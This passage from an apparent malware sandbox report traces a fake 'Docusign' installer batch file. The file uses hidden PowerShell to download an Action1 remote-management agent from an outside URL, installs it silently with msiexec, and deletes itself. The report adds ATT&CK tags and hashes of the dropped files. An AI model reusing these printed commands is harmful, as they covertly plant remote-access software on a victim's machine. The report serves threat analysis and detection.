  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
  2⤵
  PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "try {Invoke-WebRequest -Uri 'https://app.na-2.action1.com/agent/7fdfa464-7f6a-11f1-b7e6-37df2a619ce9/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pkg.msi' -ErrorAction Stop} catch {exit 1}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  PID:4148

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F3612B2396A2DA38D57EA42FFA8DD606
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2804
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 29E3FC2A7D3E8891C984A3A717F6BE60 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4376

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4280
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1852
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3192
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2044
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2948
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4512
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1160
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2480
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1680
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1424
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2432
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4512
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58bf56.rbs

Path C:\Config.Msi\e58bf56.rbs
Size 240KB
SHA256 64da96579d386d7821d430f6e3dc6c67feefd316dd434789054d8c962086279a
MD5 54deb533cc82e19d3d56890120d4cc1a
SHA1 b8b5b44a0efe8ca250c9f56885e4be0ecdd72f9c
SHA512 faf657c977ea5830db56050bd5e2df9445bfef64d13a8f1a284ace1e6c265db1d2c906f08019c088396452f580d269dbe4dfd2bd3b7e6bb913b29e9adc726773
SSDEEP 3072:hXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:hqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T16B348E217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1ABB7727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58bf57.rbs

Path C:\Config.Msi\e58bf57.rbs
Size 7KB
SHA256 12bed3a91e9f0f30c7fe47a0a89adcfbded331cf68d7cdb935efa0a301f0fc0f
MD5 39885d490812fbc8093b2278bda22ab1
SHA1 eddfba8b2c50f398d9816017c7a7e58217c6627a
SHA512 a1c7b9fb83343413a42896efeaa7215a4182c536573d2661deee9122dac3f13671ac2aa094f2ea0af5f37c276c2e63670f5a6232fab0b6756129b2a74f76dcc1
SSDEEP 96:/y7tPeCEv7XkUi1AiOliCsThqxBXkUi1AiOliC6jZS2dThqxaH+35fyG9tbktqZz:/AeffNhI2NhM+YS0/pc
TLSH
T158E120017A0046F3FA6E0735C7471F9837B2D2DA43112B1B88CDA6649F5BB8E6F951CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0e1a1565da2c1cfdb10e500f95db81d2be66705f1e1436e9a1bdb9d5b1e5da78
MD5 f722a88a1719fdf6ead47a88d604d4fd
SHA1 60fd9052b95e5a12d5b298aa9e61aaa444bdf191
SHA512 935acc8f596ea1e817920539af56d8df65e02a9ed287d21fc796c97cefeef37d8ba1f89f64d32610bb5ee9f1fc59692c1767cfd85fdd06a87a8469dba9155e1d
TLSH
T1AD115327B39C8A21CC96153A809EAC1176B683D741AEDE9F6BC4C215A1AF584CB71294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2y3beegq.2r1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2y3beegq.2r1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pkg.msi

Path C:\Users\Admin\AppData\Local\Temp\pkg.msi
Size 6.8MB
SHA256 66debf86917df83671d18099230da8593f2a6368af6c81ed3987f95ea99db0c8
MD5 00a6e4ad8d97cd49eacc1243fb0c2b3e
SHA1 d25ae91ed6f048fd78c4923de8cfcb104b1edc6b
SHA512 7a840bf1699aa579950e9aa2c1ce0b0f3217cf1f37cd15aa6eb87ca371fe2f9418a78c744a656f1243f549de30e640dbaa9bc5e41c8d043ebe6cf88fdeecdd6e
SSDEEP 98304:VkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:Wlc4pkbLHLhObmXe/kdkmPDTs
TLSH
T1E3761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 8e9b9b1aad7808643a2d9dfb7c654363c88ed51558822dc882a27ea17889c433
MD5 40528518901b30d81faa89ff58a87cc2
SHA1 7fd170c7422eb9532647dc6caf3dca9e9286be5e
SHA512 cc4eca68b2cad7b5ca32d3a5498202fbe3c3dbc296cec20649edbab81a28a9574449cd00f075af6aee1a7727277e994957287c8461004b2f37c1b434b8728b26
SSDEEP 768:A9XKnbhRgjUpQUfRQ3Lyhx48Utsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQE:rRoLE6xY+wkMdAelYWsL
TLSH
T1F8439C16E4757DB104C2188C5FCB1AF7DA4E019652D906DE871CEEBF89AF52C8102E9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

previousUser.txt

Path C:\Windows\Action1\previousUser.txt
Size 14B
SHA256 c66488144a1f7438818ac5087fd9a1f9cf48ea9ceda867091c6f0c2ec9a69932
MD5 46b3a4e41346ebc800a3d1339bc3b6af
SHA1 cfc3d2d28cffd858f315839d908d5d0b76e43997
SHA512 c293caac0a67064f1cd6e6bd5983aa9c49c98f5fbe5ba00dae5fe6df8b73696f3e19a8a8135e100b8d06026d90e17b48d0b6f22f7ad9e50d2b09f1fad6e3ccb6
MD5 SHA1 SHA512

Submit Download

DataSource_1004.ps1

Path C:\Windows\Action1\scripts\DataSource_1004.ps1
Size 55KB
SHA256 3c0ea3f83d6ebfdbd36de8df82fca5524f1954bba51485f0590857b62ef6eb2f
MD5 ae8767f5e22bc55890385e5a36a3b4ba
SHA1 880ba3b97fc588b9e021bd4bb1ca191d961b61bb
SHA512 0b1bc5be20dfa72070a5cb92d36b12f3cb5de26e39d10d11f7d0aeb1e7cd17b3031f8550c87d0e857ea4593cfccfd738ef222783106bd793e3b502dffdabc77c
SSDEEP 1536:Q/41urw4TV0HeCFgpUI5TrjrLAeOUbh9Q4ZePTjqZes+MafOS9siVKI6AXNhSk1h:Q/41KUT+ULFf
TLSH
T1A043914C69DAE12611A3713C5ECF60083B39801F014D9A14BA9D81C5FFA2579DBBE7AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DataSource_1008.ps1

Path C:\Windows\Action1\scripts\DataSource_1008.ps1
Size 20KB
SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
MD5 745c2c539a54b590bf44ea13064ca55e
SHA1 4cca8b2f890e6c42800e16c20cf5d76048f04f3f
SHA512 d452736909daf94b7cd8744f4b6c47faeb412f9c0fc42029dffbffae2096dbd728acc2833f75e32bb8a61977f0a0253e90a1259ac806ae5dd7988980d89c90f3
SSDEEP 384:FomS7XwYkQo+ZL3VtmUtCCoaPSCVTESKvjQr5WMVH0DpRrwId:FomSLwJWFAUDohCVTESKvjQrzURx
TLSH
T1A3A2F928AABAC22410C3207D9F9B550A7976A15F809DDD10B99CCBD0AF4191CDBF47AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Hardware Summary_2037-1784023871.ps1

Path C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1
Size 12KB
SHA256 77cae1db83993c02ff5f254ae161521a782c22e618bbcf6b1101428db674d2b7
MD5 247536fbd4b32577137e4f4b372a9249
SHA1 973c8d08eec0ba3d65e881ab3867542caaba8520
SHA512 7235430e8d191e2d0b813f3e0aca1d2230d2b6711b737f6a84350e8c670caa9f145e282a9a7063e3200d47b56d0d8c408827a4ac1bfb7d49d7814d12a13b92df
SSDEEP 192:TKkRAp3iIilHUs7opxWwYTil7iY/9QLG0xOxfQq+doeW4Zlhl487vbcCyaMH3tiL:TcW7hwY4QIiZU3ntmUtCCoaPAH
TLSH
T11742C729E65AD16820C320695F63540E79A1F01F4149AE40B9AC8FE0FFD198DD6F1A7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Installed Printers_2025-1784023871.ps1

Path C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1
Size 1KB
SHA256 b558869c41920db3bd3af0e204149ff735402e376c5e5127a676f2453620e608
MD5 60ba537279a5226ece6d080a2f2b21f1
SHA1 71cea71ea6a6a4ce9ee0c322cdf6a84f4def7eb0
SHA512 b234f39411a082ab349d45fef6eb92eebf6a48aaef1635e61f3f3c334e1d5bd190dcbb8501afd45f671ba8c7f08d141475d80d8f985dc6f6d3549366fd835c8b
TLSH
T1E33142512E6AE1D1C1476602EE92B01E88370DAE10AEBDC478EDCD8AEDC3350D562277
MD5 SHA1 SHA512 TLSH

Submit Download

MS Outlook Versions_2043-1784023871.ps1

Path C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1
Size 2KB
SHA256 6973bcb55ddcb2ac7e0569adc9e4007f315ba77dc8dbc0836a8b5637bb86889a
MD5 178c7995314b2a74eb29b269a396393e
SHA1 0b9b97db4a5a331d405606a77c22007805191922
SHA512 7f32636b5c7372d032a76dd80e17469e20df0d8403be65406945761d2ead1755fde2c7c4f9b778eba3e479b81b63469c060cf6a61a20fc4ff63ffca4986aae80
TLSH
T1E5416420AB1DC0E912467752F1D7C38EE2F9016D10273D4414AEC499F165E5D4BF2677
MD5 SHA1 SHA512 TLSH

Submit Download

Monitors_2026-1784023871.ps1

Path C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1
Size 1KB
SHA256 ec02022539fc99fa918ab77b05941d73f0675476d60a7737c46c05471e95e5ae
MD5 ac6882acc72155fcef060fa9760c1409
SHA1 1ffa08280717c2aec735104bc13248d1be560d48
SHA512 c22ded8f802c4f7c2a108148fd5fb530a3dc462f31804cd25a4cb8721dd2a3e57a038ed68a358f4f671a8678a600edd0feb445732a4b3bd49eba2b34ea3f7ab9
TLSH
T1E631E0201E75E0A181476742ED92A52A94360E5A105EBDC578EECC8AFFC3B90E666137
MD5 SHA1 SHA512 TLSH

Submit Download

Processx002FMemory Stats_2031-1784023871.ps1

Path C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1
Size 1KB
SHA256 d7bcbd52fa0990e77273c8e4bf38ab09e556933b928ce9bee86540afca9c5a93
MD5 feebd53ec2f4e66d79795e9ff5374e97
SHA1 09a7b7f57ade7c24f61e25bc2eb14ef8c0bd3136
SHA512 95868670b6d877c019f4bd9d93697ff5a86a0bef0930610cb58dd8a1e66383fbd26bed30e96970f013070a8fe3ae2d3a7c705c5c91ab4f6b89bb1464a1cf8f2f
TLSH
T1774120241A3CE19881466D6666D39096F0250D5F009EBDC674EDCCC9DBC3A94F4F2977
MD5 SHA1 SHA512 TLSH

Submit Download

Running Processes_2030-1784023871.ps1

Path C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1
Size 1KB
SHA256 eb02a87fc7c844d7ee84d4b0f9b0a1e3bf338a73c0696576f5fd82aa39563d14
MD5 b0c562c3de13b8f96e66bdfc5cdb62fc
SHA1 7c03ba789977d1ad621fe6cd181cc81518e824e8
SHA512 b7685a5b1e9742534f063b633331592dee93c51d4c2007368cec2b83e497805813bb6d49e67eb52c54dcac5b6e6babc809628de3460055ed9cbf5df9a40ec420
TLSH
T1593127505F3DD090C147AB41AE82A01A85370E6F146ABCD57CFECC8DEE83754D666137
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Drivers_2024-1784023871.ps1

Path C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1
Size 1KB
SHA256 710969abbeed769a28ce51e3b9b6be76c9df62ea066e0c6a108947c5855b5bc7
MD5 1a21657aa6ab3b0f112da35bf2a21e2c
SHA1 4500f131f36012b186a77196176fc39a5b8c464f
SHA512 993c08e90459572c23ce38ebdd241a04ddeec11560ba048000c8fbdefb81118d48da9ef97dbbf0a8572fd6775715561d2f34f08769edc034b986441661d9f953
TLSH
T16B3104506F2DD091C243A742F647B61A88360DAE106EBD8578FDCCCED9C3755D561237
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Services_2033-1784023871.ps1

Path C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1
Size 1KB
SHA256 2ade9c76c032a8ef639e2a1109428ca6c2719c1ebe05f657f9cb260035e32459
MD5 6c74089794f37fd5a5f151641ae60df5
SHA1 ca93712303c86d4360fd7fd5c8dc17b37f86f5b4
SHA512 a9e346cff87492a10b858df2fe92317c5b2d9dd354d3c44d46ef1dfc30cf880d5961093e79bcfd7d628d84c171d55c86e80fa58edc80ceaea4215901b49012b1
TLSH
T1FC418640D76CD0D24147A3A2AC97660B686D029D153AFC91FCFCC199F0E0F66D09663F
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Update Status_2064-1784023871.ps1

Path C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1
Size 16KB
SHA256 c1b88d7b4467574d377f7f9712d2edc6cca4bb8706964b13f451aef77509a30c
MD5 e33245b05a35394e95870140a6a0ffa4
SHA1 9aa03d9f967b8021934e559787f90297e392a35e
SHA512 3f5c2c9c7e0621d238b66abaa9a9b8029a39ed67451ecc54e71c882589b6b8b46b4733a3283a72d267cb0a0a53280ad37267f14c348a7950546ab93117f6a990
SSDEEP 192:bNJPHMM7c5bdxep3qf/onAh5eVuOB6GCjtauiA+XPJLb6TptSZO7BApjNDVCYVCs:PHY5K+2875lYQS0PeZFUW
TLSH
T1FB72863CFD13E0225AF3172E9A4A5654EF3A113B21911940B1FD87C0BFB1A60C72AA77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Windows Updates_2010-1784023871.ps1

Path C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1
Size 37KB
SHA256 7ee1367921d50ed979703088b20cbf6d4a27a8fbf6598fcd6cdd3043db75c589
MD5 9318f91ec9859ec468bc3047c485cd77
SHA1 e040d84471434200b55fe89bab82bf126317c4d2
SHA512 577be934b2f6b4bc174c82c099c2b8c0235bc04d04c5e9b5e48c5f958deb4eff04df1b16e5ff30fbef8cb8ccb39258b5f8c515f9b4c2b9f9c4afcd68c1c71c29
SSDEEP 768:5H/41usIwMtgafVNE+MCd5QPMeT2Wiv96co17nhY1O:l/41urw4TE+9d5QPMeT2Wiv96co17nhV
TLSH
T12603D74879CAF13611533069ABCE60183B35901F024DAA14B5DD84C5BFA2639EAFE7DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI259F.tmp

Path C:\Windows\Installer\MSI259F.tmp
Size 387KB
SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
MD5 4112820180a36753089ee5c0fdba1538
SHA1 6366de1c2930886892aabf4b8ac55fd0bb4b91bb
SHA512 eac55d5a5c723fb5bd85bdd1ee71a13497d677d2b45e58b6eed2f7e42760d2ba3d07e0cb2b622f7866da8492f8d3fdb02b6288f95b761f5b2e20d2e2098233d3
SSDEEP 6144:ijVmAOn9DqwokBL+097OsOmceIpOaEPbyHiDO9EAFw:CmAOnRokBL17OsONeIshZAFw
TLSH
T18B848D01B542C032D5AE05B0B535EFB5AABDA9704FB468DBB7D40E7B8D302C1A735A1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI2776.tmp

Path C:\Windows\Installer\MSI2776.tmp
Size 234KB
SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
MD5 8edc1557e9fc7f25f89ad384d01bcec4
SHA1 98e64d7f92b8254fe3f258e3238b9e0f033b5a9c
SHA512 d26c9dce3c3d17583ffb5dbcd3989f93b096a7f64a37a2701a474c1bf4b8c8b1e922c352d33f24e411f1c793e1b4af11a3aec1de489087d481b1b636df2050cd
SSDEEP 3072:5XiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3:5qhy8VKU3hvZUy+ppHEsuB/
TLSH
T159348D217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1A7B7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 14KB
SHA256 f580770326cba8573ad5dc332b372d324f63198d0701ac1a3006677961480fc8
MD5 544e496789a5a5fc8652bee12ae5ef40
SHA1 d68b454b59854275376c689e1060b7e7e01b312a
SHA512 cb1a34fd88f5c4312990b7128cf3c905e40b663647251f589279ff233423dac6b6bded066ee211153988462707e70e1c74fb59fc6afcb218e5350a013ac0702a
SSDEEP 384:9Gib4gVoGIpN6KQkj2ukjh4iUxzhQNujkOdB1NXp5dYoXYO:9lV3IpNBQkj2zh4iUxzhZjkOdB1NZXYu
TLSH
T12F62A583B7300EB1E1A96F7EA2A24511BD303E9580F4152252DCA5DF25879E1472F7BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

